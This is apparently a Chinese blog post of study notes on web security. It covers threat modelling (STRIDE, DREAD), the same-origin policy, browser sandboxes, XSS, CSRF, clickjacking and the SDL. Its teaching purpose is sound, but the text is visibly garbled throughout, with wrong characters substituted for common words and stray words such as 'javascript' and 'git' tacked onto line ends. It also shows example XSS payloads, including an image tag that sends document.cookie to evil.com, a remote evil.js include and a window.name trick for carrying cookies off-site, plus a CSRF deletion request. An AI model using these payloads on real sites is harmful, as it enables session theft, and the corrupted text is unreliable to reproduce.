安全是一门朴素的学问,也是一种平衡的艺术。javascript
如同开发者会遇到的挑战同样,有不少问题,不放到一个海量用户的环境下,是难以暴露出来的。因为量变引发质变,因此管理10台服务器,和管理1万台服务器的方法确定会有所区别;一样的,评估10名工程师的代码安全,和评估1000名工程师的代码安全,方法确定也要有所不一样。html
安全工程师的核心竞争力不在于他能拥有多少个 0day,掌握多少种安全技术,而是在于他对安全理解的深度,以及由此引伸的看待安全问题的角度和高度。前端
互联网公司的最大特点和法宝。安全是一个动态的过程,由于敌方攻击手段在变,攻击方法在变,漏洞不断出现;我方业务在变,软件在变,人员在变,妄图经过一个系统、一个方案解决全部的问题是不现实的,也是不可能的,安全须要不断地运营、持续地优化。java
最大的漏洞是人。写得再好的程序,在有人参与的状况下,就可能会出现各类各样不可预知的状况,好比管理员的密码有可能泄露,程序员有可能关掉了安全的配置参数,等等。安全问题每每发生在一些意想不到的地方。git
安全三要素是安全的基本组成元素,分别是机密性(Confdentiality)、完整性 (Integrity)、可用性(Availability)。程序员
安全评估能够简单地分为4个阶段:资产等级划分、威胁分析、风险分析、确认解决方案。github
资产等级划分是全部工做的基础,帮助咱们明确目标是什么,要保护什么。数据库
安全的问题本质在于信任问题。被划分出来的具备不一样信任级别的区域,咱们称为信任域,划分两个不一样信任域之间的边界,咱们称为信任边界。segmentfault
数据从高等级的信任域流向低等级的信任域,是不须要通过安全检查的;数据从低等级的信任域流向高等级的信任域,则须要通过信任边界的安全检查。跨域
在实际中会遇到比这复杂许多的状况,好比一样是两个应用,互相之间存在数据交互业务,那么就要考虑这里的数据交互对于各自应用来讲是不是可信的,是否应该在两个应用之间划一个边界,而后对流经边界的数据作安全检查。
威胁分析就是把全部的威胁都找出来。怎么找?通常是采用头脑风暴法。固然,也有一些比较科学的方法,好比使用一个模型,帮助咱们去想,在哪些方面有可能会存在威胁,这个过程可以避免遗漏,这就是威胁建模。
在本书中介绍一种威胁建模的方法,它最先是由微软提出的,叫作 STRIDE 模型。咱们在分析威胁时,能够从如下6个方面去考虑。
风险分析,Risk = Probability Damage Potential ,风险 = 可能性 损失程度
如何更科学地衡量风险呢?这里再介绍一个 DREAD 模型,它也是由微软提出,指导咱们应该从哪些方面去判断一个威胁的风险程度。
安全解决方案是安全评估的产出物。解决方案必定要有针对性,这种针对性是由资产等级划分、威胁分析、风险分析等阶段的结果给出的。
没有不安全的业务,只有不安全的实现方式。
那么什么是一个好的安全方案呢:
同源策略是浏览器安全的基础,它限制了来自不一样源的“document”或脚本,对当前“document”读取或设置某些属性。
为了避免让浏览器的页面行为发生混乱,浏览器提出了“Origin”(源)这一律念,来自不一样源的对象没法互相干扰。
在浏览器中,<script>
、<img>
、<iframe>
、<link>
等标签均可以不受同源策略的限制跨域加载资源,这些带 src 属性的标签每次加载时,其实是由浏览器发起了一次 GET 请求。不一样于 XHR 的是,经过标签的 src 属性加载的资源,浏览器限制了 JS 的权限,使其不能读、写返回的内容。
对于 XHR 来讲,它能够访问来自同源对象的内容。但 XHR 受到同源策略的约束,不能跨域访问资源。若是 XHR 可以跨域访问资源,则可能会致使一些敏感数据泄露,好比 CSRF 的 token,从而致使发生安全问题。
XHR 跨域访问须要经过目标域返回的 HTTP 头来受权是否容许跨域访问,由于 HTTP 头对于浏览器中的 JS 来讲通常是没法控制的,因此认为这个方案能够实施。
Chrome 是第一个采起多进程架构的浏览器,Chrome 的主要进程分为:浏览器进程、渲染进程、插件进程、扩展进程。插件进程如 flash、java、pdf 等与浏览器进程严格隔离,所以不会互相影响。
浏览器的多进程架构将浏览器的各个功能模块分开,各个浏览器实例分开,当一个进程崩溃时,也不会影响到其余的进程。
渲染引擎由 Sandbox 隔离,网页代码要与浏览器内核进程通讯、与操做系统通讯都须要经过IPCchannel,在其中会进行一些安全检查。
Sandbox 设计是为了让不可信任的代码运行在必定的环境中,限制不可信任的代码访问隔离区以外的资源。Sandbox须要考虑用户代码针对本地文件系统、内存、数据库、网络的可能请求,能够采用默认拒绝的策略,若是必定要跨越 Sandbox 边界产生数据交换,则只能经过指定的数据通道,好比通过封装的 API 来完成,在这些 API 中会严格检查请求的合法性。
Sandbox 可让不受信任的网页代码、JS 代码运行在一个受到限制的环境中,从而保护本地桌面系统的安全。
恶意网址拦截是浏览器周期性地从服务器端获取一份最新的恶意网址黑名单,若是用户上网时访问的网址存在于此黑名单中,浏览器就会弹出一个警告页面。
跨站脚本攻击(Cross Site Script,XSS)指经过「HTML注入」篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。
XSS 的本质是一种 HTML 注入,用户的数据被当成了 HTML 代码一部分来执行,从而混淆了本来的语义,产生了新的语义。
针对各类不一样场景产生的 XSS,须要区分情景对待。XSS 根据效果不一样分为:
存储型 XSS 的风险会高于反射型 XSS,由于存储型 XSS 会保存在服务器上,跨页面存在。
反射型 XSS 的例子:一个页面把用户输入的参数直接输出到页面上,那么用户就可能提交一段 HTML 代码,这个代码将直接在页面执行。咱们能够利用这个漏洞盗取访问该页面的任何人的 Cookie,甚至是管理员的,好比输入 <img src="http://evil.com/log?"+escape(document.cookie) />
。
存储型 XSS 的例子:一个带留言板的网页,若是没有对用户输入进行过滤和转译的话,攻击者在留言板留言 <script>alert('XSS')</script>
之后其余用户在进入这个页面时就会获取并执行这个脚本。
DOM Based XSS 的例子:
<script> function test(){ var str = document.getElementById("text").value; document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>"; } </script> <div id="t" ></div> <input type="text" id="text" value="" /> <input type="button" id="s" value="write" onclick="test()" />
用户能够输入这样一个字段 ' onclick=alert(/xss/) //
,这个字段首先用一个单引号闭合掉 href 的第一个单引号,而后插入一个 onclick 事件,最后再用注释符 //
注释掉第二个单引号。点击这个新生成的连接,脚本将被执行。
点击这里查看效果。
也能够直接闭合掉 a
标签,插入一个新的 Script 标签 ><img src=# onerror=alert(/xss2/) /><
这样也能够执行脚本。
在前面的 XSS 攻击奏效以后,能够作的事就多了
<script src=http://evil.com/evil.js/>
,在这个脚本中发送 document.cookie
给远程,好比插入一个图片,图片的 src 是 "http://evil.com/log?"+escape(document.cookie)
form.submit()
,也能够直接经过 XHR 发送。获取用户信息:
navigator.userAgent
或者浏览器版本之间独特的差别,来获取浏览器版本信息,能够实施精准的浏览器内存攻击。visited
属性,能够判断用户是否曾经访问某个连接。<base>
标签的使用<base>
标签是文档根 URL 元素,能够出如今页面的任何地方,并做用于位于该标签以后的全部标签。
好比页面打开一张不存在的图片 <img src="/images/logo.png"/>
这个图片会加载失败,若是在这个 img 标签前加上 <base>
标签 <base href="http://www.google.com" />
那么这个图片将从这个指定的 URL 加载,即 http://www.google.com/images/logo.png
这个地址加载资源。
攻击者若是在页面中插入 <base>
标签,就能够经过在远程服务器上伪造图片、连接或脚本,劫持当前页面中的全部使用相对路径,包括全部使用 src
和 href
属性索引资源的标签。
window.name
的使用window.name
对象是一个很神奇的东西,对当前窗口的 window.name
对象赋值,没有特殊字符的限制。由于 window
对象是浏览器的窗体,而并不是 document
对象,所以不少时候 window
对象不受同源策略的限制,所以能够实现跨域、跨页面传递数据。
好比在一个被 XSS 攻击的页面中,获取到信息赋给 window.name
,而后当即跳转到另外一个网站。
window.name = "test~ User Cookie is: " + document.cookie; alert(document.domain + " " + window.name); window.location = "http://www.google.com/";
在另外一个网站中便可获取到上一页面的信息
console.log(window.name); // test~ User Cookie is: ...
若是给 Cookie 设置了 HttpOnly 那么经过 JS 就没法读取到 Cookie。HttpOnly 能够有选择性地加在任何一个 Cookie 值上,能够仅把 HttpOnly 标记给用于认证的关键 Cookie。
HttpOnly 解决的是 XSS 后的 Cookie 劫持攻击。
输入检查通常是检查用户输入的数据中是否包含一些特殊字符,如 <
、>
、'
、"
等。若是发现存在特殊字符,则将这些字符过滤或者编码。
这种作法相似于白名单,可让一些基于特殊字符的攻击失效。
输入检查的逻辑,必须放在服务器端代码中实现。若是只是在客户端使用 JS 进行输入检查,是很容易被攻击者绕过的,广泛作法是同时在客户端 JS 代码和服务器端代码中实现相同的输入检查。客户端输入检查,能够阻挡大部分误操做的正经常使用户,从而节约服务器资源。
比较智能的输入检查,还会匹配 XSS 的特征。好比查找用户数据中是否包含了 <script>
、javascript
等敏感字符。
除了富文本的输出外,在变量输出到 HTML 页面时,可使用编码或转义的方式来防护 XSS 攻击。编码方式 HtmlEncode 要求将一些经常使用的特殊字符进行转译,好比 &
转化为 &
、<
转化为 <
、/
转化为 /
等。
在 IE5-8 的时代,有过一个 CSS 表达式 (CSS Expression)解决方案,能够在 CSS 里面写 JS,给 CSS 属性赋一个表达式,当时用来作不少 hack 方案,可是做为一个 Web 时代临时的解决方案也有它的弊端
background: url(javascript:alert("XSS!"));
最近的 CSS Houdini 跟这个 CSS Expression 有点相似,在浏览器正式上线后能够关注一下。
跨站点请求伪造(Cross Site Request Forgery,CSRF)
攻击者首先在一个网页中添加一个图片 <img src="http://blogs.com/blog/remove?id=123">
,这个 src 是指向了删除一个博客网站中某博客的连接,用户访问这个网页,这个图片加载时博客网站的这个博客就会被删除。
CSRF 攻击的过程,每每是在用户不知情的状况下构造了网络请求。而验证码强制用户必须与应用进行交互,才能完成最终请求。所以在一般状况下,验证码可以很好地遏制 CSRF 攻击。
但不少时候,出于用户体验考虑,网站不能给全部的操做都加上验证码。所以,验证码只能做为防护CSRF的一种辅助手段,而不能做为最主要的解决方案。
检查 Referer 头常常被用来做为图片防盗链的手段,也能够被用来检查请求是否来自合法的源。
若是用户请求的 Referer 值不是这个页面,甚至不是发帖网站的域,则极有多是 CSRF 攻击。
但并非任什么时候候服务器都能获取到 Referer 值,如下状况就可能没法获取
<a>
、<area>
或者 <link>
元素上将 rel 属性设置为 noreferrer
也不会发送 Referer , <a href="http://example.com" rel="noreferrer">
,这是 HTML5 为了保护敏感信息和隐私设置的,由于经过 Referer 可能会泄露一些敏感信息。https://link.zhihu.com/?target=https%3A//tieba.baidu.com/p/3746839672
https://link.zhihu.com/
,而后再跳转到目标网址。这时,Referer 字段就不会包含原始网址,打开 Devtools 能够看到的 Doc 请求不包含 Referer 字段。<a href="https://tieba.baidu.com/p/3746839672">文章</a>
,此时点击跳转,请求的 Doc 会包含 Referer 字段。CSRF 可以攻击成功,本质缘由是重要操做的全部参数都是能够被攻击者猜想到的。若是增长一个随机的不可预测的参数,那么将大大增长被 CSRF 的难度,这就是引入 Token 的缘由。
在使用 Token 时,应该尽可能把 Token 放在表单中。把敏感操做由 GET 改成 POST ,以 form 表单或 AJAX 的形式提交,以免 Token 泄露。
防护 CSRF 的 Token,是根据不可预测性原则设计的方案,因此 Token 的生成必定要足够随机,须要使用安全的随机数生成器生成 Token。用户提交表单后,对比用户提交的 Token 与当前用户 Session 中的 Token 是否一致。
CSRF 能够在用户不知不觉中完成攻击。但在须要与用户进行交互的场景中,攻击操做是没法进行的,好比若是须要验证码的话。可是,点击劫持使用户在不知不觉中完成交互过程。
点击劫持是一种视觉上的欺骗手段,经过用一个覆盖物遮挡住用户想要点击的地方,诱使用户进行点击。点击劫持攻击与 CSRF 相似,都是在用户不知情的状况下诱使用户完成一些动做。
CSRF 攻击的过程当中,若是出现用户交互的页面,则攻击可能会没法顺利完成。但点击劫持没有这个顾虑,它利用的就是与用户产生交互的页面。
点击劫持的防护手段:
禁止 ifame 嵌套:能够经过判断当前网页的 location 是不是最顶级,来排除 iframe 的嵌套
if (top.location !== location) { top.location = self.location }
但这种办法能够经过嵌套多个 iframe 的方式绕过,或者经过限制 iframe 页面中 JS 脚本执行的方式来绕过。
使用 X-Frame-Options 头:使用 HTTP 的 X-Frame-Options 头能够控制浏览器加载 frame 页面的行为,有三个值能够设置
好比咱们看到 SegmentFault 的页面就使用了这个 HTTP 头来做为点击劫持的防护手段
HTML5 中为 iframe 提供了一个属性 sandbox,这个属性能够经过参数来对 iframe 中的内容启用进行更进去的控制,好比是否容许提交表单、是否容许执行脚本、是否容许访问顶层窗口、是否容许同源访问、是否容许弹框等等,从而极大加强应用使用 iframe 的安全性。
postMessage 容许浏览器的 window(包括窗口、弹出窗口、iframes 等)对象往其余窗口发送文本消息,实现跨窗口的消息传递,这个功能是不受同源策略限制的。使用时有两个安全问题须要注意:
当一个产品功能有缺陷、用户体验极差,甚至是成天宕机的时候,是谈不上安全性的,由于产品自己可能都已经没法存在下去了。可是当一个产品其余方面都作得很好的时候,安全有可能会成为产品的一种核心竞争力,成为拉开产品与竞争对手之间差距的秘密武器。只有安全也作得好的产品,才能成为真正的好产品。
搜索结果是否安全,对网民来讲是很重要的,由于搜索引是互联网最重要的一个门户。曾经发生的一些欺诈案件中,钓鱼网站公然出如今搜索结果中,致使不少用户上当受骗。
安全是产品的一种特性,若是咱们的产品可以潜移默化地培养用户的安全习惯,将用户往更安全的行为上引导,那么这样的安全就是最理想的产品安全。
一个优秀的安全方案,应该具备两个条件:
可使安全用的解决方案:
业务逻辑安全
例子 4:回归到 QQ 被盗的状况,用户帐户被盗可能有多种可能
用户登陆的密码也是高度类似的,好比 12345六、66666六、qwerty、abc123 等,只要挨个尝试这些简单的密码组合就能暴力破解不少用户的密码。
另外,过往网站的数据库被盗致使的用户数据流失,若是数据库中的密码是明文保存,或者是没有加盐的哈希值,可能致使攻击者根据这些密码来尝试同一个用户的不一样网站,由于大部分用户都习惯于使用同一个密码登陆不一样网站。
安全开发生命周期 SDL(Security Development Lifecycle),由微软最先提出,是帮助解决软件安全问题的办法,在开发的全部阶段都引入了安全和隐私的原则。
SDL 的大体步骤以下:
SDL 实战经验:
网上的帖子大多深浅不一,甚至有些先后矛盾,在下的文章都是学习过程当中的总结,若是发现错误,欢迎留言指出,若是本文帮助到了你,别忘了点赞支持一下哦,你的点赞是我更新的最大动力!(收藏不点赞,都是耍流氓 🤣)~
参考文档:
PS:本文收录在在下的博客 Github - SHERlocked93/blog 系列文章中,欢迎你们关注个人公众号 前端下午茶
,直接搜索便可添加或者点这里添加,持续为你们推送前端以及前端周边相关优质技术文,共同进步,一块儿加油~
另外能够加入「前端下午茶交流群」微信群,微信搜索 sherlocked_93
加我好友,备注加群,我拉你入群~